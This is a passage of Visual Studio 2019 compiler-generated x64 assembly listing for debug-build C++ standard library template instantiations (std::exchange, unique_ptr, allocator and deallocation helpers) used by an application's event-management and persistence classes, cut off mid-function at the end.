; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\utility
; COMDAT ??$exchange@PEAUEventManagement@Event@Domain@@PEAU123@@std@@YAPEAUEventManagement@Event@Domain@@AEAPEAU123@$$QEAPEAU123@@Z
_TEXT SEGMENT
_Old_val$ = 8
_Val$ = 256
_New_val$ = 264
??$exchange@PEAUEventManagement@Event@Domain@@PEAU123@@std@@YAPEAUEventManagement@Event@Domain@@AEAPEAU123@$$QEAPEAU123@@Z PROC ; std::exchange<Domain::Event::EventManagement *,Domain::Event::EventManagement *>, COMDAT
; 596 : conjunction_v<is_nothrow_move_constructible<_Ty>, is_nothrow_assignable<_Ty&, _Other>>) /* strengthened */ {
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 264 ; 00000108H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 66 ; 00000042H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+296]
lea rcx, OFFSET FLAT:__9BE6F741_utility
call __CheckForDebuggerJustMyCode
; 597 : // assign _New_val to _Val, return previous _Val
; 598 : _Ty _Old_val = static_cast<_Ty&&>(_Val);
mov rax, QWORD PTR _Val$[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR _Old_val$[rbp], rax
; 599 : _Val = static_cast<_Other&&>(_New_val);
mov rax, QWORD PTR _Val$[rbp]
mov rcx, QWORD PTR _New_val$[rbp]
mov rcx, QWORD PTR [rcx]
mov QWORD PTR [rax], rcx
; 600 : return _Old_val;
mov rax, QWORD PTR _Old_val$[rbp]
; 601 : }
lea rsp, QWORD PTR [rbp+232]
pop rdi
pop rbp
ret 0
??$exchange@PEAUEventManagement@Event@Domain@@PEAU123@@std@@YAPEAUEventManagement@Event@Domain@@AEAPEAU123@$$QEAPEAU123@@Z ENDP ; std::exchange<Domain::Event::EventManagement *,Domain::Event::EventManagement *>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$destroy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$_Default_allocator_traits@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@SAXAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@QEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z
_TEXT SEGMENT
__formal$ = 224
_Ptr$ = 232
??$destroy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$_Default_allocator_traits@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@SAXAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@QEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z PROC ; std::_Default_allocator_traits<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::destroy<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >, COMDAT
; 705 : static void destroy(_Alloc&, _Uty* const _Ptr) {
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 706 : _Ptr->~_Uty();
xor edx, edx
mov rcx, QWORD PTR _Ptr$[rbp]
call ??_G?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAAPEAXI@Z
; 707 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$destroy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$_Default_allocator_traits@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@SAXAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@QEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z ENDP ; std::_Default_allocator_traits<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::destroy<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xstddef
; COMDAT ??$_Unfancy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@YAPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PEAV10@@Z
_TEXT SEGMENT
_Ptr$ = 224
??$_Unfancy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@YAPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PEAV10@@Z PROC ; std::_Unfancy<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >, COMDAT
; 288 : _NODISCARD constexpr _Ty* _Unfancy(_Ty* _Ptr) noexcept { // do nothing for plain pointers
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__6CF96053_xstddef
call __CheckForDebuggerJustMyCode
; 289 : return _Ptr;
mov rax, QWORD PTR _Ptr$[rbp]
; 290 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$_Unfancy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@YAPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PEAV10@@Z ENDP ; std::_Unfancy<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z
_TEXT SEGMENT
_Al$ = 224
_Ptr$ = 232
??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z PROC ; std::_Deallocate_plain<std::allocator<std::_Container_proxy> >, COMDAT
; 1003 : void _Deallocate_plain(_Alloc& _Al, typename _Alloc::value_type* const _Ptr) noexcept {
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 1004 : // deallocate a plain pointer using an allocator
; 1005 : using _Alloc_traits = allocator_traits<_Alloc>;
; 1006 : if constexpr (is_same_v<_Alloc_ptr_t<_Alloc>, typename _Alloc::value_type*>) {
; 1007 : _Alloc_traits::deallocate(_Al, _Ptr, 1);
mov r8d, 1
mov rdx, QWORD PTR _Ptr$[rbp]
mov rcx, QWORD PTR _Al$[rbp]
call ?deallocate@?$_Default_allocator_traits@V?$allocator@U_Container_proxy@std@@@std@@@std@@SAXAEAV?$allocator@U_Container_proxy@std@@@2@QEAU_Container_proxy@2@_K@Z ; std::_Default_allocator_traits<std::allocator<std::_Container_proxy> >::deallocate
npad 1
; 1008 : } else {
; 1009 : using _Ptr_traits = pointer_traits<_Alloc_ptr_t<_Alloc>>;
; 1010 : _Alloc_traits::deallocate(_Al, _Ptr_traits::pointer_to(*_Ptr), 1);
; 1011 : }
; 1012 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$_Deallocate_plain@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z ENDP ; std::_Deallocate_plain<std::allocator<std::_Container_proxy> >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$?0$$V@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@@Z
_TEXT SEGMENT
this$ = 224
__formal$ = 232
??$?0$$V@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@@Z PROC ; std::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1><>, COMDAT
; 1339 : : _Ty1(), _Myval2(_STD forward<_Other2>(_Val2)...) {}
$LN3:
mov BYTE PTR [rsp+16], dl
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
mov rax, QWORD PTR this$[rbp]
mov QWORD PTR [rax], 0
mov rax, QWORD PTR this$[rbp]
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$?0$$V@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@@Z ENDP ; std::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1><>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_One_then_variadic_args_t@1@$$QEAU?$default_delete@UEventManagement@Event@Domain@@@1@$$QEAPEAUEventManagement@Event@Domain@@@Z
_TEXT SEGMENT
this$ = 224
__formal$ = 232
_Val1$ = 240
<_Val2_0>$ = 248
??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_One_then_variadic_args_t@1@$$QEAU?$default_delete@UEventManagement@Event@Domain@@@1@$$QEAPEAUEventManagement@Event@Domain@@@Z PROC ; std::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1><std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *>, COMDAT
; 1344 : : _Ty1(_STD forward<_Other1>(_Val1)), _Myval2(_STD forward<_Other2>(_Val2)...) {}
$LN3:
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov BYTE PTR [rsp+16], dl
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
mov rcx, QWORD PTR _Val1$[rbp]
call ??$forward@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@YA$$QEAU?$default_delete@UEventManagement@Event@Domain@@@0@AEAU10@@Z ; std::forward<std::default_delete<Domain::Event::EventManagement> >
mov rdx, rax
mov rcx, QWORD PTR this$[rbp]
call ??$?0UEventManagement@Event@Domain@@$0A@@?$default_delete@VEventHandler@Event@Domain@@@std@@QEAA@AEBU?$default_delete@UEventManagement@Event@Domain@@@1@@Z ; std::default_delete<Domain::Event::EventHandler>::default_delete<Domain::Event::EventHandler><Domain::Event::EventManagement,0>
mov rcx, QWORD PTR <_Val2_0>$[rbp]
call ??$forward@PEAUEventManagement@Event@Domain@@@std@@YA$$QEAPEAUEventManagement@Event@Domain@@AEAPEAU123@@Z ; std::forward<Domain::Event::EventManagement *>
mov rcx, QWORD PTR this$[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR [rcx], rax
mov rax, QWORD PTR this$[rbp]
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@VEventHandler@Event@Domain@@@std@@PEAVEventHandler@Event@Domain@@$00@std@@QEAA@U_One_then_variadic_args_t@1@$$QEAU?$default_delete@UEventManagement@Event@Domain@@@1@$$QEAPEAUEventManagement@Event@Domain@@@Z ENDP ; std::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventHandler>,Domain::Event::EventHandler *,1><std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\type_traits
; COMDAT ??$forward@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@YA$$QEAU?$default_delete@UEventManagement@Event@Domain@@@0@AEAU10@@Z
_TEXT SEGMENT
_Arg$ = 224
??$forward@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@YA$$QEAU?$default_delete@UEventManagement@Event@Domain@@@0@AEAU10@@Z PROC ; std::forward<std::default_delete<Domain::Event::EventManagement> >, COMDAT
; 1442 : remove_reference_t<_Ty>& _Arg) noexcept { // forward an lvalue as either an lvalue or an rvalue
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__2D26A21E_type_traits
call __CheckForDebuggerJustMyCode
; 1443 : return static_cast<_Ty&&>(_Arg);
mov rax, QWORD PTR _Arg$[rbp]
; 1444 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$forward@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@YA$$QEAU?$default_delete@UEventManagement@Event@Domain@@@0@AEAU10@@Z ENDP ; std::forward<std::default_delete<Domain::Event::EventManagement> >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\memory
; COMDAT ??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@PEAUEventManagement@Event@Domain@@@Z
_TEXT SEGMENT
$T1 = 196
tv70 = 216
this$ = 256
_Ptr$ = 264
??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@PEAUEventManagement@Event@Domain@@@Z PROC ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> ><std::default_delete<Domain::Event::EventManagement>,0>, COMDAT
; 2590 : explicit unique_ptr(pointer _Ptr) noexcept : _Mypair(_Zero_then_variadic_args_t{}, _Ptr) {}
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 264 ; 00000108H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 66 ; 00000042H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+296]
lea rcx, OFFSET FLAT:__6A935154_memory
call __CheckForDebuggerJustMyCode
mov rax, QWORD PTR this$[rbp]
mov QWORD PTR tv70[rbp], rax
lea r8, QWORD PTR _Ptr$[rbp]
movzx edx, BYTE PTR $T1[rbp]
mov rcx, QWORD PTR tv70[rbp]
call ??$?0AEAPEAUEventManagement@Event@Domain@@@?$_Compressed_pair@U?$default_delete@UEventManagement@Event@Domain@@@std@@PEAUEventManagement@Event@Domain@@$00@std@@QEAA@U_Zero_then_variadic_args_t@1@AEAPEAUEventManagement@Event@Domain@@@Z ; std::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1>::_Compressed_pair<std::default_delete<Domain::Event::EventManagement>,Domain::Event::EventManagement *,1><Domain::Event::EventManagement * &>
mov rax, QWORD PTR this$[rbp]
lea rsp, QWORD PTR [rbp+232]
pop rdi
pop rbp
ret 0
??$?0U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@PEAUEventManagement@Event@Domain@@@Z ENDP ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> ><std::default_delete<Domain::Event::EventManagement>,0>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\type_traits
; COMDAT ??$forward@AEBUUserCredentials@Persistence@TechnicalServices@@@std@@YAAEBUUserCredentials@Persistence@TechnicalServices@@AEBU123@@Z
_TEXT SEGMENT
_Arg$ = 224
??$forward@AEBUUserCredentials@Persistence@TechnicalServices@@@std@@YAAEBUUserCredentials@Persistence@TechnicalServices@@AEBU123@@Z PROC ; std::forward<TechnicalServices::Persistence::UserCredentials const &>, COMDAT
; 1442 : remove_reference_t<_Ty>& _Arg) noexcept { // forward an lvalue as either an lvalue or an rvalue
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__2D26A21E_type_traits
call __CheckForDebuggerJustMyCode
; 1443 : return static_cast<_Ty&&>(_Arg);
mov rax, QWORD PTR _Arg$[rbp]
; 1444 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$forward@AEBUUserCredentials@Persistence@TechnicalServices@@@std@@YAAEBUUserCredentials@Persistence@TechnicalServices@@AEBU123@@Z ENDP ; std::forward<TechnicalServices::Persistence::UserCredentials const &>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z
_TEXT SEGMENT
_First$ = 224
_Last$ = 232
_Al$ = 240
??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z PROC ; std::_Destroy_range<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >, COMDAT
; 962 : _Alloc_ptr_t<_Alloc> _First, const _Alloc_ptr_t<_Alloc> _Last, _Alloc& _Al) noexcept {
$LN6:
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 963 : // note that this is an optimization for debug mode codegen; in release mode the BE removes all of this
; 964 : using _Ty = typename _Alloc::value_type;
; 965 : if _CONSTEXPR_IF (!conjunction_v<is_trivially_destructible<_Ty>, _Uses_default_destroy<_Alloc, _Ty*>>) {
; 966 : for (; _First != _Last; ++_First) {
jmp SHORT $LN4@Destroy_ra
$LN2@Destroy_ra:
mov rax, QWORD PTR _First$[rbp]
add rax, 40 ; 00000028H
mov QWORD PTR _First$[rbp], rax
$LN4@Destroy_ra:
mov rax, QWORD PTR _Last$[rbp]
cmp QWORD PTR _First$[rbp], rax
je SHORT $LN3@Destroy_ra
; 967 : allocator_traits<_Alloc>::destroy(_Al, _Unfancy(_First));
mov rcx, QWORD PTR _First$[rbp]
call ??$_Unfancy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@YAPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PEAV10@@Z ; std::_Unfancy<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >
mov rdx, rax
mov rcx, QWORD PTR _Al$[rbp]
call ??$destroy@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$_Default_allocator_traits@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@SAXAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@QEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z ; std::_Default_allocator_traits<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::destroy<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >
; 968 : }
jmp SHORT $LN2@Destroy_ra
$LN3@Destroy_ra:
; 969 : }
; 970 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z ENDP ; std::_Destroy_range<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z
_TEXT SEGMENT
_Ptr$ = 224
_Bytes$ = 232
??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z PROC ; std::_Deallocate<16,0>, COMDAT
; 213 : void _Deallocate(void* _Ptr, size_t _Bytes) noexcept {
$LN4:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 214 : // deallocate storage allocated by _Allocate when !_HAS_ALIGNED_NEW || _Align <= __STDCPP_DEFAULT_NEW_ALIGNMENT__
; 215 : #if defined(_M_IX86) || defined(_M_X64)
; 216 : if (_Bytes >= _Big_allocation_threshold) { // boost the alignment of big allocations to help autovectorization
cmp QWORD PTR _Bytes$[rbp], 4096 ; 00001000H
jb SHORT $LN2@Deallocate
; 217 : _Adjust_manually_vector_aligned(_Ptr, _Bytes);
lea rdx, QWORD PTR _Bytes$[rbp]
lea rcx, QWORD PTR _Ptr$[rbp]
call ?_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z ; std::_Adjust_manually_vector_aligned
$LN2@Deallocate:
; 218 : }
; 219 : #endif // defined(_M_IX86) || defined(_M_X64)
; 220 :
; 221 : ::operator delete(_Ptr, _Bytes);
mov rdx, QWORD PTR _Bytes$[rbp]
mov rcx, QWORD PTR _Ptr$[rbp]
call ??3@YAXPEAX_K@Z ; operator delete
npad 1
; 222 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z ENDP ; std::_Deallocate<16,0>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$_Destroy_in_place@PEAD@std@@YAXAEAPEAD@Z
_TEXT SEGMENT
_Obj$ = 224
??$_Destroy_in_place@PEAD@std@@YAXAEAPEAD@Z PROC ; std::_Destroy_in_place<char *>, COMDAT
; 270 : /* _CONSTEXPR20_DYNALLOC */ void _Destroy_in_place(_Ty& _Obj) noexcept {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 271 : #if _HAS_IF_CONSTEXPR
; 272 : if constexpr (is_array_v<_Ty>) {
; 273 : _Destroy_range(_Obj, _Obj + extent_v<_Ty>);
; 274 : } else
; 275 : #endif // _HAS_IF_CONSTEXPR
; 276 : {
; 277 : _Obj.~_Ty();
; 278 : }
; 279 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$_Destroy_in_place@PEAD@std@@YAXAEAPEAD@Z ENDP ; std::_Destroy_in_place<char *>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$?0D@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@D@1@@Z
_TEXT SEGMENT
this$ = 224
__formal$ = 232
??$?0D@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@D@1@@Z PROC ; std::allocator<std::_Container_proxy>::allocator<std::_Container_proxy><char>, COMDAT
; 806 : constexpr allocator(const allocator<_Other>&) noexcept {}
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
mov rax, QWORD PTR this$[rbp]
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??$?0D@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@D@1@@Z ENDP ; std::allocator<std::_Container_proxy>::allocator<std::_Container_proxy><char>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ??$?0V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@@Z
_TEXT SEGMENT
this$ = 224
__formal$ = 232
